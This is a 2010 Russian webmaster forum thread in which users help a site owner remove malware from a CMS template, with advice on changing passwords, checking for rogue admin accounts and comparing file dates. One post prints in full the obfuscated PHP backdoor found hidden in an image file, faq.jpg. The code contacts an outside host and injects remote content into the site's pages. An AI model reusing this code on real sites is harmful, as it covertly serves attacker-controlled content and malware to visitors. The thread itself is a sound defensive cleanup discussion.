Помощник
 |
Сообщение сайта
|
 Помогите убрать вирус! |
Axel
|
 2.1.2010, 17:19;
Ответить: Axel
Сообщение
#12
|
 Псевдооптимизатор :)  Группа: Active User Сообщений: 918 Регистрация: 28.7.2007 Поблагодарили: 117 раз Репутация:  20 
 |
Ну тогда просто бегайте по файлам шаблона и ищите. Смотрите внимательно.
Загляните в index.php. Да и еще... Вирус сам не мог появиться в файлах. Советую вам сменить пароль администратора, проверить нет ли в админке нового пользователя с правами админа. И поменять пароль на фтп. Еще посмотрите в админке, в рекламных материалах. |
 |
|
|
webpavilion
|
2.1.2010, 17:25;
Ответить: webpavilion
Сообщение
#13
|
 сеошник на пенсии Группа: Active User Сообщений: 2726 Регистрация: 28.4.2009 Из: МО Поблагодарили: 1659 раз Репутация: 171
|
taylerx, вариантов скрыть код намного больше, eval может и не быть.
cerrus, посмотрите по дате последнего изменения, скорее всего она будет отличатся. -------------------- |
|
|
|
|
taylerx
|
 2.1.2010, 17:31;
Ответить: taylerx
Сообщение
#14
|
|
Участник Группа: User Сообщений: 245 Регистрация: 27.8.2009 Из: vinnitsa Поблагодарили: 64 раза Репутация: 11
|
(webpavilion @ 2.1.2010, 15:25)  taylerx, вариантов скрыть код намного больше, eval может и не быть. cerrus, посмотрите по дате последнего изменения, скорее всего она будет отличатся. Я просто показал как у меня прописалось и где)) кстате абсолютно некстате ) потому что сетка из 20 сайтов легла )) пока руками все не почистил )) а оказался просто код накрутки гугла по каким то ключевым словам ) братья вебмастера помогли ) -------------------- |
|
|
|
|
malo
|
2.1.2010, 17:40;
Ответить: malo
Сообщение
#15
|
 Топовый постер Группа: Active User Сообщений: 3432 Регистрация: 25.3.2009 Из: Минск-Москва-Киев Поблагодарили: 980 раз Репутация: 160
|
К сожалению сам, что говорится "не в теме", но желаю вам решить вашу проблему ибо знаю, что очень неприятная у вас беда. Удачи, в общем!
-------------------- |
|
|
|
|
Axel
|
2.1.2010, 17:42;
Ответить: Axel
Сообщение
#16
|
|
Псевдооптимизатор :) Группа: Active User Сообщений: 918 Регистрация: 28.7.2007 Поблагодарили: 117 раз Репутация: 20
|
Присоеденяюсь к словам malo. я тоже недавно пережил это. Из-за таких приколов меня выперли с яндекса и гугла. Я сейчас остался ни с чем.
Надеюсь на востановление 
|
|
|
|
|
madsaturn
|
2.1.2010, 17:49;
Ответить: madsaturn
Сообщение
#17
|
 Участник Группа: User Сообщений: 242 Регистрация: 8.3.2009 Из: Oren[56] Поблагодарили: 59 раз Репутация: 4
|
Найдено: файл faq.jpg в папке тема\images. Код файла:
<?php $x14="\146\x63l\x6f\x73e"; $x15="f\x65\157\146"; $x16="\146\147\x65\164\163"; $x17="f\163\x6f\143\x6b\x6fp\x65n"; $x18="f\160\165\164s"; $x19="\x73\x74\x72str"; $x0b="\x3c\141 \150r\x65\x66=n\x65oks\056\x72\x75>\074/a>";$x0c = @$x17("\x77\x77\167\056\145ror\150\157\x73t.\x72u", 80, $x0d, $x0e, 30);if ($x0c){ $x0f = "\107\105T \057\163\x61\151\x74\x2f\x69\1441\056\x70\150\x70\077\x73\x69t\x65=".$_SERVER['HTTP_HOST']." HT\x54\120\x2f1.1\n";$x0f .= "\x48\x6f\163\x74\072\040\x77\167\x77.\x65\162o\x72ho\x73\164\056\162\x75\n"; $x0f.='Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress Accept-Language: ru,en Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01'; $x0f .= "\n\n"; $x18($x0c, $x0f);$x10 = false;while (!$x15($x0c)) {$x11=$x16($x0c,128);if ($x10) {$x12.= $x11;} else {$x13 .= $x11;}if ($x11 == "\r\n" ) {$x10 = true;}}$x14($x0c);}else return $x0b; if ($x19($x13,'404')) return $x0b;else return $x12; ?> Тем, кто захотел "убить" вирус удалением соответствующего файла - не ст0ит этого делать. Чтобы не искать где он инклад'ится, достаточно просто отредактировать файл, оставив лишь в его содержимом <?php ?>. NOD32 4.0 начинает бить тревогу лишь при начале закачивания файла так называемого flash плеера. IE сразу пытался заблокировать загрузку файла, отнеся сайт adode.ru к подозрительным. Сообщение отредактировал madsaturn - 2.1.2010, 18:07 -------------------- |
|
|
|
cerrus
|
Сообщение
#18
|
 Завсегдатай Группа: Active User Сообщений: 555 Регистрация: 21.3.2009 Поблагодарили: 60 раз Репутация: 18
|
Давайте про тестим на разных антивирусах!? если вам не трудно, отпишите с каким антивирусом, и есть вирус или нет
-------------------- |
|
|
|
|
malo
|
2.1.2010, 18:16;
Ответить: malo
Сообщение
#19
|
|
Топовый постер Группа: Active User Сообщений: 3432 Регистрация: 25.3.2009 Из: Минск-Москва-Киев Поблагодарили: 980 раз Репутация: 160
|
У меня NOD и он молчит как рыба.
-------------------- |
|
|
|
|
Frankie
|
2.1.2010, 20:03;
Ответить: Frankie
Сообщение
#20
|
 Старожил Группа: Active User Сообщений: 1559 Регистрация: 18.9.2009 Поблагодарили: 326 раз Репутация: 38
|
ТС, установите код системы http://siteguard.ru и будет вам счастье
|
|
|
|
|
madsaturn
|
2.1.2010, 20:19;
Ответить: madsaturn
Сообщение
#21
|
|
Участник Группа: User Сообщений: 242 Регистрация: 8.3.2009 Из: Oren[56] Поблагодарили: 59 раз Репутация: 4
|
Frankie, а Вы сами пользовались этой системой? Что можете сказать по поводу них?
P.S. Заинтересовало. Это очень удобно, особенно при большой массе сайтов -------------------- |
|
|
|
|
|
Похожие темы
| Тема | Ответов | Автор | Просмотров | Последний ответ | |
|---|---|---|---|---|---|
 |
Помогите болвану обновить видеокарту :-) | 16 | club-16 | 912 | 22.3.2021, 0:04 автор: adamsadriane |
|
 Помогите подобрать HTML редактор |
20 | Serapion | 1638 | 17.3.2021, 20:34 автор: dima280 |
|
Помогите выбрать домен | 11 | Bustle_hb | 13251 | 4.3.2021, 23:19 автор: Filadelso |
|
Помогите рещить проблему с монитором. Почему низкое разрешение при подключении монитора через displayport? |
0 | Levels | 548 | 11.12.2020, 0:48 автор: Levels |
|
Помогите кто нибудь получить партнерку Росбанк! | 8 | heisenberg_mw | 684 | 7.8.2020, 9:28 автор: heisenberg_mw |
|
Текстовая версия | Сейчас: 18.4.2021, 20:43 |
